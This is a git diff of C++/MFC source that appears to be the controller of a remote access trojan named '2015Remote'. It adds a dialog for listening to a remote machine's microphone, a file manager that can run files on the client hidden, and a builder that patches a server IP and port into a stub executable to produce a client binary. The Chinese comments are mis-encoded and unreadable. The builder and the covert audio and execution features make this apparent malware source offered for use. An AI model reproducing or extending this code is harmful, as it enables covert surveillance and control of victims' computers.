(LPSTR)m_OutAudioData[i]; + m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength; + m_OutAudioHeader[i]->dwFlags = 0; + m_OutAudioHeader[i]->dwLoops = 0; + waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR)); + } + + m_bIsWaveOutUsed = TRUE; + return TRUE; +} diff --git a/server/2015Remote/Audio.h b/server/2015Remote/Audio.h new file mode 100644 index 0000000..c49020f --- /dev/null +++ b/server/2015Remote/Audio.h @@ -0,0 +1,44 @@ +// Audio.h: interface for the CAudio class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) +#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 +#include +#include + + +class CAudio +{ +public: + CAudio(); + virtual ~CAudio(); + GSM610WAVEFORMAT m_GSMWavefmt; + ULONG m_ulBufferLength; + LPWAVEHDR m_InAudioHeader[2]; //ͷ + LPBYTE m_InAudioData[2]; // + HANDLE m_hEventWaveIn; + HANDLE m_hStartRecord; //¼ + HWAVEIN m_hWaveIn; //豸 + DWORD m_nWaveInIndex; + bool m_hThreadCallBack; + static DWORD WINAPI waveInCallBack(LPVOID lParam); //͵ض + LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); + BOOL CAudio::InitializeWaveIn(); + BOOL m_bIsWaveInUsed; + + HWAVEOUT m_hWaveOut; + BOOL m_bExit; + BOOL m_bIsWaveOutUsed; + DWORD m_nWaveOutIndex; + LPWAVEHDR m_OutAudioHeader[2]; //ͷ + LPBYTE m_OutAudioData[2]; // + BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize); + BOOL CAudio::InitializeWaveOut(); +}; + +#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_) diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp new file mode 100644 index 0000000..0a3b499 --- /dev/null +++ b/server/2015Remote/AudioDlg.cpp @@ -0,0 +1,125 @@ +// AudioDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "AudioDlg.h" +#include "afxdialogex.h" + + +// CAudioDlg Ի + +IMPLEMENT_DYNAMIC(CAudioDlg, CDialog) + +CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) +: CDialog(CAudioDlg::IDD, pParent) + , m_bSend(FALSE) +{ + m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //ͼ + m_bIsWorking = TRUE; + m_iocpServer = IOCPServer; //ΪijԱֵ + m_ContextObject = ContextObject; + m_hWorkThread = NULL; + m_nTotalRecvBytes = 0; + sockaddr_in ClientAddress; + memset(&ClientAddress, 0, sizeof(ClientAddress)); //õضip + int iClientAddressLen = sizeof(ClientAddress); + BOOL bResult = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddress, &iClientAddressLen); + + m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : ""; +} + +CAudioDlg::~CAudioDlg() +{ +} + +void CAudioDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Check(pDX, IDC_CHECK, m_bSend); +} + + +BEGIN_MESSAGE_MAP(CAudioDlg, CDialog) + ON_WM_CLOSE() +END_MESSAGE_MAP() + + +// CAudioDlg Ϣ + + +BOOL CAudioDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + SetIcon(m_hIcon,FALSE); + + CString strString; + strString.Format("%s - ", m_strIPAddress); + SetWindowText(strString); + + BYTE bToken = COMMAND_NEXT; + m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); + + //߳ жCheckBox + m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} + +DWORD CAudioDlg::WorkThread(LPVOID lParam) +{ + CAudioDlg *This = (CAudioDlg *)lParam; + + while (This->m_bIsWorking) + { + if (!This->m_bSend) + { + Sleep(1000); + continue; + } + DWORD dwBufferSize = 0; + LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); // + + if (szBuffer != NULL && dwBufferSize > 0) + This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //ûϢͷ + } + return 0; +} + +void CAudioDlg::OnReceiveComplete(void) +{ + m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1 + CString strString; + strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024); + SetDlgItemText(IDC_TIP, strString); + switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + { + case TOKEN_AUDIO_DATA: + { + + m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1), + m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //Ų + break; + } + + default: + // ䷢쳣 + break; + } +} + +void CAudioDlg::OnClose() +{ + // TODO: ڴϢ/Ĭֵ + + m_ContextObject->v1 = 0; + CancelIo((HANDLE)m_ContextObject->sClientSocket); + closesocket(m_ContextObject->sClientSocket); + + m_bIsWorking = FALSE; + WaitForSingleObject(m_hWorkThread, INFINITE); + CDialog::OnClose(); + delete this; +} diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h new file mode 100644 index 0000000..3eda016 --- /dev/null +++ b/server/2015Remote/AudioDlg.h @@ -0,0 +1,38 @@ +#pragma once + +#include "IOCPServer.h" +#include "Audio.h" + +// CAudioDlg Ի + +class CAudioDlg : public CDialog +{ + DECLARE_DYNAMIC(CAudioDlg) + +public: + CAudioDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 + virtual ~CAudioDlg(); + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + HICON m_hIcon; + CString m_strIPAddress; + DWORD m_nTotalRecvBytes; + BOOL m_bIsWorking; + HANDLE m_hWorkThread; + CAudio m_AudioObject; + + static DWORD CAudioDlg::WorkThread(LPVOID lParam); + + void CAudioDlg::OnReceiveComplete(void); +// Ի + enum { IDD = IDD_DIALOG_AUDIO }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + BOOL m_bSend; + virtual BOOL OnInitDialog(); + afx_msg void OnClose(); +}; diff --git a/server/2015Remote/Buffer.cpp b/server/2015Remote/Buffer.cpp new file mode 100644 index 0000000..01af94b --- /dev/null +++ b/server/2015Remote/Buffer.cpp @@ -0,0 +1,190 @@ +#include "StdAfx.h" +#include "Buffer.h" + +#include + + +#define U_PAGE_ALIGNMENT 3 +#define F_PAGE_ALIGNMENT 3.0 +CBuffer::CBuffer(void) +{ + m_ulMaxLength = 0; + + m_Ptr = m_Base = NULL; + + InitializeCriticalSection(&m_cs); +} + +CBuffer::~CBuffer(void) +{ + if (m_Base) + { + VirtualFree(m_Base, 0, MEM_RELEASE); + m_Base = NULL; + } + + DeleteCriticalSection(&m_cs); + + m_Base = m_Ptr = NULL; + m_ulMaxLength = 0; +} + + +ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength) +{ + if (ulLength >GetBufferMaxLength()) //ijȱڴijȻ + { + return 0; + } + if (ulLength >GetBufferLength()) //ij ЧݳȻ + { + ulLength = GetBufferLength(); + } + + if (ulLength) + { + MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); //ǰ [Shinexxxx??] + + m_Ptr -= ulLength; + } + + DeAllocateBuffer(GetBufferLength()); + + return ulLength; +} + +ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength) +{ + EnterCriticalSection(&m_cs); + + if (ulLength > GetBufferMaxLength()) + { + LeaveCriticalSection(&m_cs); + return 0; + } + if (ulLength > GetBufferLength()) + { + ulLength = GetBufferLength(); + } + + if (ulLength) + { + CopyMemory(Buffer,m_Base,ulLength); + + MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); + m_Ptr -= ulLength; + } + + DeAllocateBuffer(GetBufferLength()); + + LeaveCriticalSection(&m_cs); + return ulLength; +} + +ULONG CBuffer::DeAllocateBuffer(ULONG ulLength) +{ + if (ulLength < GetBufferLength()) + return 0; + + ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; + + if (GetBufferMaxLength() <= ulNewMaxLength) + { + return 0; + } + PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + + ULONG ulv1 = GetBufferLength(); //ԭڴЧ + CopyMemory(NewBase,m_Base,ulv1); + + VirtualFree(m_Base,0,MEM_RELEASE); + + m_Base = NewBase; + + m_Ptr = m_Base + ulv1; + + m_ulMaxLength = ulNewMaxLength; + + return m_ulMaxLength; +} + + +BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) +{ + EnterCriticalSection(&m_cs); + + if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024 + { + LeaveCriticalSection(&m_cs); + return false; + } + + CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5 + + m_Ptr+=ulLength; + LeaveCriticalSection(&m_cs); + return TRUE; +} + +ULONG CBuffer::ReAllocateBuffer(ULONG ulLength) +{ + if (ulLength < GetBufferMaxLength()) + return 0; + + ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; + PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); + if (NewBase == NULL) + { + return -1; + } + + ULONG ulv1 = GetBufferLength(); //ԭȵЧݳ + CopyMemory(NewBase,m_Base,ulv1); + + if (m_Base) + { + VirtualFree(m_Base,0,MEM_RELEASE); + } + m_Base = NewBase; + m_Ptr = m_Base + ulv1; //1024 + + m_ulMaxLength = ulNewMaxLength; //2048 + + return m_ulMaxLength; +} + +VOID CBuffer::ClearBuffer() +{ + EnterCriticalSection(&m_cs); + m_Ptr = m_Base; + + DeAllocateBuffer(1024); + LeaveCriticalSection(&m_cs); +} + +ULONG CBuffer::GetBufferLength() //Чݳ +{ + if (m_Base == NULL) + return 0; + + return (ULONG)m_Ptr - (ULONG)m_Base; +} + + +ULONG CBuffer::GetBufferMaxLength() +{ + return m_ulMaxLength; +} + +PBYTE CBuffer::GetBuffer(ULONG ulPos) +{ + if (m_Base==NULL) + { + return NULL; + } + if (ulPos>=GetBufferLength()) + { + return NULL; + } + return m_Base+ulPos; +} diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h new file mode 100644 index 0000000..6e6b16e --- /dev/null +++ b/server/2015Remote/Buffer.h @@ -0,0 +1,27 @@ +#pragma once +#include + +class CBuffer +{ +public: + CBuffer(void); + ~CBuffer(void); + + ULONG CBuffer::GetBufferMaxLength(); + ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength); + ULONG CBuffer::GetBufferLength(); //Чݳ; + ULONG CBuffer::DeAllocateBuffer(ULONG ulLength); + VOID CBuffer::ClearBuffer(); + ULONG CBuffer::ReAllocateBuffer(ULONG ulLength); + BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength); + PBYTE CBuffer::GetBuffer(ULONG ulPos=0); + ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength); + VOID CBuffer::ReleaseMember(); + VOID CBuffer::InitMember(); + +protected: + PBYTE m_Base; + PBYTE m_Ptr; + ULONG m_ulMaxLength; + CRITICAL_SECTION m_cs; +}; diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp new file mode 100644 index 0000000..ffdbc7f --- /dev/null +++ b/server/2015Remote/BuildDlg.cpp @@ -0,0 +1,135 @@ +// BuildDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "BuildDlg.h" +#include "afxdialogex.h" +#include + +// CBuildDlg Ի + +IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) + +int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize); + +struct CONNECT_ADDRESS +{ + DWORD dwFlag; + char szServerIP[MAX_PATH]; + int iPort; +}g_ConnectAddress={0x1234567,"",0}; + +CBuildDlg::CBuildDlg(CWnd* pParent) + : CDialog(CBuildDlg::IDD, pParent) + , m_strIP(_T("")) + , m_strPort(_T("")) +{ + +} + +CBuildDlg::~CBuildDlg() +{ +} + +void CBuildDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Text(pDX, IDC_EDIT_IP, m_strIP); + DDX_Text(pDX, IDC_EDIT_PORT, m_strPort); +} + + +BEGIN_MESSAGE_MAP(CBuildDlg, CDialog) + ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk) +END_MESSAGE_MAP() + + +// CBuildDlg Ϣ + + +void CBuildDlg::OnBnClickedOk() +{ + CFile File; + char szTemp[MAX_PATH]; + ZeroMemory(szTemp,MAX_PATH); + CString strCurrentPath; + CString strFile; + CString strSeverFile; + BYTE * szBuffer=NULL; + DWORD dwFileSize; + UpdateData(TRUE); + //////////Ϣ////////////////////// + strcpy(g_ConnectAddress.szServerIP,m_strIP); //IP + + g_ConnectAddress.iPort=atoi(m_strPort); //˿ + if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0) + return; + try + { + //˴õδǰļ + char path[_MAX_PATH], *p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + strcpy(p+1, "TestRun.exe"); + + strFile = path; //õǰδļ + if (_access(path, 0) == -1) + { + MessageBox("\"TestRun.exe\"!"); + return CDialog::OnOK(); + } + + //ļ + File.Open(strFile,CFile::modeRead|CFile::typeBinary); + + dwFileSize=File.GetLength(); + szBuffer=new BYTE[dwFileSize]; + ZeroMemory(szBuffer,dwFileSize); + //ȡļ + + File.Read(szBuffer,dwFileSize); + File.Close(); + //дIPͶ˿ ҪѰ0x1234567ʶȻдλ + int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD)); + memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress)); + //浽ļ + strcpy(p+1, "ClientDemo.exe"); + strSeverFile = path; + File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite); + File.Write(szBuffer,dwFileSize); + File.Close(); + delete[] szBuffer; + MessageBox("ɳɹ!"); + } + catch (CMemoryException* e) + { + MessageBox("ڴ治!"); + } + catch (CFileException* e) + { + MessageBox("ļ!"); + } + catch (CException* e) + { + MessageBox("δ֪!"); + } + CDialog::OnOK(); +} + +int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize) +{ + int i,j; + if (iKeySize == 0||iBufferSize==0) + { + return -1; + } + for (i = 0; i < iBufferSize; i++) + { + for (j = 0; j < iKeySize; j ++) + if (szBuffer[i+j] != Key[j]) break; //0x12345678 78 56 34 12 + if (j == iKeySize) return i; + } + return -1; +} diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h new file mode 100644 index 0000000..6c54dd2 --- /dev/null +++ b/server/2015Remote/BuildDlg.h @@ -0,0 +1,25 @@ +#pragma once + + +// CBuildDlg Ի + +class CBuildDlg : public CDialog +{ + DECLARE_DYNAMIC(CBuildDlg) + +public: + CBuildDlg(CWnd* pParent = NULL); // ׼캯 + virtual ~CBuildDlg(); + +// Ի + enum { IDD = IDD_DIALOG_BUILD }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + CString m_strIP; + CString m_strPort; + afx_msg void OnBnClickedOk(); +}; diff --git a/server/2015Remote/CpuUseage.cpp b/server/2015Remote/CpuUseage.cpp new file mode 100644 index 0000000..9dd09b5 --- /dev/null +++ b/server/2015Remote/CpuUseage.cpp @@ -0,0 +1,53 @@ +#include "stdafx.h" +#include "CpuUseage.h" + +//ϵͳܼ +CCpuUsage::CCpuUsage() +{ + m_hQuery = NULL; + m_pCounterStruct = NULL; + +} + +CCpuUsage::~CCpuUsage() +{ + PdhCloseQuery(m_hQuery); //رռ + delete m_pCounterStruct; +} + + +BOOL CCpuUsage::Init() +{ + if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery)) //򿪼 + return FALSE; + + m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT; + + //ͳƸȤϵͳϢʱȽӦļӽ + PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, (LPCSTR)szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter)); + if (ERROR_SUCCESS != pdh_status) + { + return FALSE; + } + + return TRUE; +} + + +int CCpuUsage::GetUsage() +{ + PDH_FMT_COUNTERVALUE pdhFormattedValue; + + PdhCollectQueryData(m_hQuery); + + //õݻõǰֵ + if (ERROR_SUCCESS != PdhGetFormattedCounterValue(m_pCounterStruct->hCounter, + PDH_FMT_LONG, + NULL, + &pdhFormattedValue )) + { + return 0; + } + + return pdhFormattedValue.longValue; +} diff --git a/server/2015Remote/CpuUseage.h b/server/2015Remote/CpuUseage.h new file mode 100644 index 0000000..9f087d4 --- /dev/null +++ b/server/2015Remote/CpuUseage.h @@ -0,0 +1,34 @@ +#pragma once + +#include +#include + +#pragma comment(lib,"PDH.lib") + +#define MAX_RAW_VALUES 20 + +//process Ŀµ% Processor TimeǹڽCPUʹʵ +const char szCounterName[] = "\\Processor(_Total)\\% Processor Time"; + +typedef struct _tag_PDHCounterStruct { + HCOUNTER hCounter; + int nNextIndex; + int nOldestIndex; + int nRawCount; + PDH_RAW_COUNTER a_RawValue[MAX_RAW_VALUES]; +} PDHCOUNTERSTRUCT, *PPDHCOUNTERSTRUCT; + + +class CCpuUsage +{ +public: + CCpuUsage(); + virtual ~CCpuUsage(); + BOOL Init(); + int GetUsage(); + +protected: + + PPDHCOUNTERSTRUCT m_pCounterStruct; + HQUERY m_hQuery; +}; diff --git a/server/2015Remote/EditDialog.cpp b/server/2015Remote/EditDialog.cpp new file mode 100644 index 0000000..60ee619 --- /dev/null +++ b/server/2015Remote/EditDialog.cpp @@ -0,0 +1,50 @@ +// EditDialog.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "EditDialog.h" +#include "afxdialogex.h" + + +// CEditDialog Ի + +IMPLEMENT_DYNAMIC(CEditDialog, CDialog) + +CEditDialog::CEditDialog(CWnd* pParent) + : CDialog(CEditDialog::IDD, pParent) + , m_EditString(_T("")) +{ + +} + +CEditDialog::~CEditDialog() +{ +} + +void CEditDialog::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Text(pDX, IDC_EDIT_STRING, m_EditString); +} + + +BEGIN_MESSAGE_MAP(CEditDialog, CDialog) + ON_BN_CLICKED(IDOK, &CEditDialog::OnBnClickedOk) +END_MESSAGE_MAP() + + +// CEditDialog Ϣ + + +void CEditDialog::OnBnClickedOk() +{ + // TODO: ڴӿؼ֪ͨ + + UpdateData(TRUE); + if (m_EditString.IsEmpty()) { + MessageBeep(0); + return; //رնԻ + } + CDialog::OnOK(); +} diff --git a/server/2015Remote/EditDialog.h b/server/2015Remote/EditDialog.h new file mode 100644 index 0000000..8f46333 --- /dev/null +++ b/server/2015Remote/EditDialog.h @@ -0,0 +1,24 @@ +#pragma once + + +// CEditDialog Ի + +class CEditDialog : public CDialog +{ + DECLARE_DYNAMIC(CEditDialog) + +public: + CEditDialog(CWnd* pParent = NULL); // ׼캯 + virtual ~CEditDialog(); + + // Ի + enum { IDD = IDD_DIALOG_NEWFOLDER }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + CString m_EditString; + afx_msg void OnBnClickedOk(); +}; diff --git a/server/2015Remote/FileCompress.cpp b/server/2015Remote/FileCompress.cpp new file mode 100644 index 0000000..df5ced2 --- /dev/null +++ b/server/2015Remote/FileCompress.cpp @@ -0,0 +1,74 @@ +// FileCompress.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "FileCompress.h" +#include "afxdialogex.h" + +// CFileCompress Ի + +IMPLEMENT_DYNAMIC(CFileCompress, CDialog) + +CFileCompress::CFileCompress(CWnd* pParent, ULONG n) + : CDialog(CFileCompress::IDD, pParent) + , m_EditRarName(_T("")) +{ + m_ulType = n; +} + +CFileCompress::~CFileCompress() +{ +} + +void CFileCompress::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Text(pDX, IDC_EDIT_RARNAME, m_EditRarName); +} + + +BEGIN_MESSAGE_MAP(CFileCompress, CDialog) +END_MESSAGE_MAP() + + +// CFileCompress Ϣ + + +BOOL CFileCompress::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CString strTips; + switch(m_ulType) + { + case 1: + { + strTips = "ѹļ"; + SetDlgItemText(IDC_STATIC, strTips); + break; + } + case 2: + { + strTips = "ѹļУ"; + SetDlgItemText(IDC_STATIC, strTips); + break; + } + case 3: + { + strTips = "Զѹļ"; + SetDlgItemText(IDC_STATIC, strTips); + break; + } + case 4: + { + strTips = "Զ̽ѹļУ"; + SetDlgItemText(IDC_STATIC, strTips); + } + } + + UpdateData(TRUE); + + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} diff --git a/server/2015Remote/FileCompress.h b/server/2015Remote/FileCompress.h new file mode 100644 index 0000000..7a48326 --- /dev/null +++ b/server/2015Remote/FileCompress.h @@ -0,0 +1,25 @@ +#pragma once + + +// CFileCompress Ի + +class CFileCompress : public CDialog +{ + DECLARE_DYNAMIC(CFileCompress) + +public: + CFileCompress(CWnd* pParent = NULL,ULONG n = 0); // ׼캯 + virtual ~CFileCompress(); + +// Ի + enum { IDD = IDD_DIALOG_FILE_COMPRESS }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + CString m_EditRarName; + ULONG m_ulType; + virtual BOOL OnInitDialog(); +}; diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp new file mode 100644 index 0000000..4a2abbc --- /dev/null +++ b/server/2015Remote/FileManagerDlg.cpp @@ -0,0 +1,1454 @@ +// FileManagerDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "FileManagerDlg.h" +#include "afxdialogex.h" +#include "EditDialog.h" +#include "FileTransferModeDlg.h" +#include "FileCompress.h" +#include + +#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32)) +#define MAX_SEND_BUFFER 8192 + +static UINT Indicators[] = +{ + ID_SEPARATOR, + ID_SEPARATOR, + IDR_STATUSBAR_PROCESS, +}; + +// CFileManagerDlg Ի + +IMPLEMENT_DYNAMIC(CFileManagerDlg, CDialog) + +CFileManagerDlg::CFileManagerDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject) + : CDialog(CFileManagerDlg::IDD, pParent) +{ + m_ContextObject = ContextObject; + m_iocpServer = IOCPServer; + m_ProgressCtrl = NULL; + sockaddr_in ClientAddr = {0}; + int iClientAddrLength = sizeof(sockaddr_in); + //õӱض˵IP + BOOL bOk = getpeername(ContextObject->sClientSocket,(SOCKADDR*)&ClientAddr, &iClientAddrLength); + + m_strClientIP = bOk != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""; + + memset(m_szClientDiskDriverList, 0, sizeof(m_szClientDiskDriverList)); + int len = ContextObject->InDeCompressedBuffer.GetBufferLength(); + memcpy(m_szClientDiskDriverList, ContextObject->InDeCompressedBuffer.GetBuffer(1), len - 1); + + CoInitialize(0); + // ϵͳͼб + try { + SHFILEINFO sfi = {0}; + HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo(NULL,0,&sfi,sizeof(SHFILEINFO),SHGFI_LARGEICON | SHGFI_SYSICONINDEX); + m_ImageList_Large = CImageList::FromHandle(hImageList); //CimageList* + ImageList_Destroy(hImageList); + }catch(...){ + OutputDebugStringA("======> m_ImageList_Large catch an error. \n"); + } + try{ + SHFILEINFO sfi = {0}; + HIMAGELIST hImageList = (HIMAGELIST)SHGetFileInfo(NULL,0,&sfi,sizeof(SHFILEINFO),SHGFI_SMALLICON | SHGFI_SYSICONINDEX); + m_ImageList_Small = CImageList::FromHandle(hImageList); + ImageList_Destroy(hImageList); + }catch(...){ + OutputDebugStringA("======> m_ImageList_Small catch an error. \n"); + } + + m_bDragging = FALSE; + m_bIsStop = FALSE; +} + +CFileManagerDlg::~CFileManagerDlg() +{ + m_Remote_Upload_Job.RemoveAll(); + if (m_ProgressCtrl) + { + m_ProgressCtrl->DestroyWindow(); + delete m_ProgressCtrl; + } + m_ProgressCtrl = NULL; + m_ImageList_Large->Detach(); + m_ImageList_Small->Detach(); + + CoUninitialize(); +} + +void CFileManagerDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); + DDX_Control(pDX, IDC_LIST_CLIENT, m_ControlList_Client); + DDX_Control(pDX, IDC_LIST_SERVER, m_ControlList_Server); + DDX_Control(pDX, IDC_COMBO_SERVER, m_ComboBox_Server); + DDX_Control(pDX, IDC_COMBO_CLIENT, m_ComboBox_Client); + DDX_Control(pDX, IDC_STATIC_FILE_SERVER, m_FileServerBarPos); + DDX_Control(pDX, IDC_STATIC_FILE_CLIENT, m_FileClientBarPos); +} + + +BEGIN_MESSAGE_MAP(CFileManagerDlg, CDialog) + ON_WM_CLOSE() + ON_NOTIFY(NM_DBLCLK, IDC_LIST_SERVER, &CFileManagerDlg::OnNMDblclkListServer) + ON_CBN_SELCHANGE(IDC_COMBO_SERVER, &CFileManagerDlg::OnCbnSelchangeComboServer) + ON_COMMAND(IDT_SERVER_FILE_PREV, &CFileManagerDlg::OnIdtServerPrev) + + ON_COMMAND(IDT_SERVER_FILE_NEW_FOLDER, &CFileManagerDlg::OnIdtServerNewFolder) + ON_COMMAND(IDT_SERVER_FILE_DELETE, &CFileManagerDlg::OnIdtServerDelete) + ON_COMMAND(IDT_SERVER_FILE_STOP, &CFileManagerDlg::OnIdtServerStop) + + ON_COMMAND(ID_VIEW_BIG_ICON, &CFileManagerDlg::OnViewBigIcon) + ON_COMMAND(ID_VIEW_SMALL_ICON, &CFileManagerDlg::OnViewSmallIcon) + ON_COMMAND(ID_VIEW_DETAIL, &CFileManagerDlg::OnViewDetail) + ON_COMMAND(ID_VIEW_LIST, &CFileManagerDlg::OnViewList) + ON_NOTIFY(NM_DBLCLK, IDC_LIST_CLIENT, &CFileManagerDlg::OnNMDblclkListClient) + ON_NOTIFY(LVN_BEGINDRAG, IDC_LIST_SERVER, &CFileManagerDlg::OnLvnBegindragListServer) + ON_WM_MOUSEMOVE() + ON_WM_LBUTTONUP() + ON_NOTIFY(NM_RCLICK, IDC_LIST_SERVER, &CFileManagerDlg::OnNMRClickListServer) + ON_COMMAND(ID_OPERATION_SERVER_RUN, &CFileManagerDlg::OnOperationServerRun) + ON_COMMAND(ID_OPERATION_RENAME, &CFileManagerDlg::OnOperationRename) + ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_SERVER, &CFileManagerDlg::OnLvnEndlabeleditListServer) + ON_NOTIFY(NM_RCLICK, IDC_LIST_CLIENT, &CFileManagerDlg::OnNMRClickListClient) + ON_COMMAND(ID_OPERATION_CLIENT_SHOW_RUN, &CFileManagerDlg::OnOperationClientShowRun) + ON_COMMAND(ID_OPERATION_CLIENT_HIDE_RUN, &CFileManagerDlg::OnOperationClientHideRun) + ON_NOTIFY(LVN_ENDLABELEDIT, IDC_LIST_CLIENT, &CFileManagerDlg::OnLvnEndlabeleditListClient) + ON_COMMAND(ID_OPERATION_COMPRESS, &CFileManagerDlg::OnOperationCompress) +END_MESSAGE_MAP() + + +// CFileManagerDlg Ϣ + + +VOID CFileManagerDlg::OnIdtServerPrev() +{ + FixedServerFileList(".."); +} + + +VOID CFileManagerDlg::OnIdtServerNewFolder() +{ + if (m_Server_File_Path == "") + return; + + CEditDialog Dlg(this); + if (Dlg.DoModal() == IDOK && Dlg.m_EditString.GetLength()) + { + // Ŀ¼ + + CString strString; + strString = m_Server_File_Path + Dlg.m_EditString + "\\"; + MakeSureDirectoryPathExists(strString.GetBuffer()); /*c:\Hello\ */ + FixedServerFileList("."); + } +} + +VOID CFileManagerDlg::OnIdtServerStop() +{ + m_bIsStop = TRUE; +} + + +VOID CFileManagerDlg::OnIdtServerDelete() //ɾĿ¼ļ +{ + // m_bIsUpload = true; //ǿʹFlagֹͣ ǰĹ + CString strString; + if (m_ControlList_Server.GetSelectedCount() > 1) + strString.Format("ȷҪ %d ɾ?", m_ControlList_Server.GetSelectedCount()); + else + { + CString strFileName = m_ControlList_Server.GetItemText(m_ControlList_Server.GetSelectionMark(), 0); + + int iItem = m_ControlList_Server.GetSelectionMark(); //.. fff 1 Hello + + if (iItem==-1) + { + return; + } + if (m_ControlList_Server.GetItemData(iItem) == 1) + { + 